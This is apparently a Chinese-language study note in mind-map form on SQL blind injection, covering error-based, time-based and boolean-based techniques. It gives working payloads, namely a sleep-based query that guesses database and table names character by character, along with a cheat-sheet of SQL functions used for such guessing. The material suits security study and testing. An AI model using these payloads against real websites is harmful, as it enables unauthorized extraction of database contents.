思维导图
1、SQL盲注
- 基于报错的SQL盲注-报错回显
floor,updatexml,extractvalue
解释:在注入时,网站不会进行回显数据,只能判断成功与否,可以通过报错回显的方式,把需要获取的信息进行回显(表面上看页面是报错页面)
·注入的时候,要根据SQL语句类型,进行注入,可以利用 两个or进行顺势的添加注入语句。 使用bp抓包时,可以使用+或者%20来代替空格
注(注入语句详见链接)https://www.jianshu.com/p/bc35f8dd4f7c
- 基于时间的SQL盲注-延时判断
if,sleep
解释:SQL盲注的时候,页面不会进行回显数据,可以利用if sleep这两个函数,通过猜的方式,来获取信息。即:根据休眠的时间来判断猜测是否正确。
思路:主要是猜这个步骤
猜测数据库名、表名、列名,进行数据获取
(先判断字符长度,然后逐个的进行判断,因为顶多就是a-z、1-9,利用ASCII码更方便)
缺点:过于繁琐,但使用工具便捷。
and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)--+
- 基于布尔的SQL盲注-逻辑判断
regexp,like,ascii,left,ord,mid
解释:通过使用left等函数,进行判断猜测的是否正确,和延时盲注有相似之处。
常见方法
like ‘ro%’ #判断ro或ro…是否成立
regexp ‘^xiaodi[a-z]’ #匹配xiaodi及xiaodi…等
if(条件,5,0) #条件成立 返回5 反之 返回0
sleep(5) #SQL语句延时执行5秒
mid(a,b,c) #从位置b开始,截取a字符串的c位
substr(a,b,c) #从b位置开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8 #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97